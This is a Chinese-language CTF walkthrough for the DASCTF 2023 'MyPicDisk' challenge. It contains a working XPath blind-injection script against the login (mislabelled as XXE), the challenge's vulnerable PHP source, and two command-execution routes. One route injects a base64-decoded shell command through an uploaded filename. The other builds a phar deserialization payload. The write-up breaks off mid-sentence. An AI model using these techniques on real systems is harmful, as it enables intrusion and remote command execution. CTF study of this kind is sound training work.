DASCTF 2023 & 0X401七月暑期挑战赛 MyPicDisk
打开题目是个登录框
这里是XXE盲注
boogipop师傅的盲注脚本
import requests
import time
url ='http://6562827c-cc7e-4a5e-818d-97f9064dfce0.node4.buuoj.cn:81/index.php'
strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称 #accounts
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测子节点名称 #user
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码 #admin #003d7628772d6b57fec5f30ccbc82be1
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、
# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
得出的是md5加密后的数据我们进行MD5解密
得到密码
15035371139
登录成功后我们查看源码
根据提示下载源码
<?php
session_start(); // 启动会话
error_reporting(0); // 禁用错误报告
// 定义一个名为 FILE 的类
class FILE{
public $filename; // 文件名
public $lasttime; // 最后修改时间
public $size; // 文件大小
// 构造函数,用于初始化 FILE 类的实例
public function __construct($filename){
// 检查文件名是否包含 "/",防止路径穿越攻击
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
// 检查文件名中是否只包含一个 "."
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
// 检查文件是否存在
if (!is_file($filename)){
throw new Error("???");
}
// 初始化类属性
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
// 删除文件的方法
public function remove(){
unlink($this->filename);
}
// 显示文件信息的方法
public function show(){
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
// 析构函数,当对象被销毁时执行
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
// 检查用户是否登录
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
// 读取 XML 文件
$xml = simplexml_load_file('/tmp/secret.xml');
// 检查表单是否提交
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
// 检查用户名和密码是否匹配
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
// 如果登录用户不是 admin,则显示错误并退出
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
// 显示文件列表或上传表单
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
// 处理文件上传
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
// 处理文件操作
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
法一:
很明显的一个利用点
这里很明显我们可以利用文件名进行命令执行
过滤了/但是影响不大我们可以利用base绕过
;`echo 命令的base64编码| base64 -d`;.jpg
但是要注意直接给文件命名的话不能带|我们要在上传文件的时候用bp抓包加上|即可
法二:
还有一个方法也是很明显
md5_file可以触发phar的反序列化
所以我们可以采用phar反序列化
<?php
class FILE
{
public $filename=";ls /";
public $lasttime;
public $size;
}
$a=new FILE();
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "6666");
$phar->stopBuffering();
传的时候改一下后缀,然后直接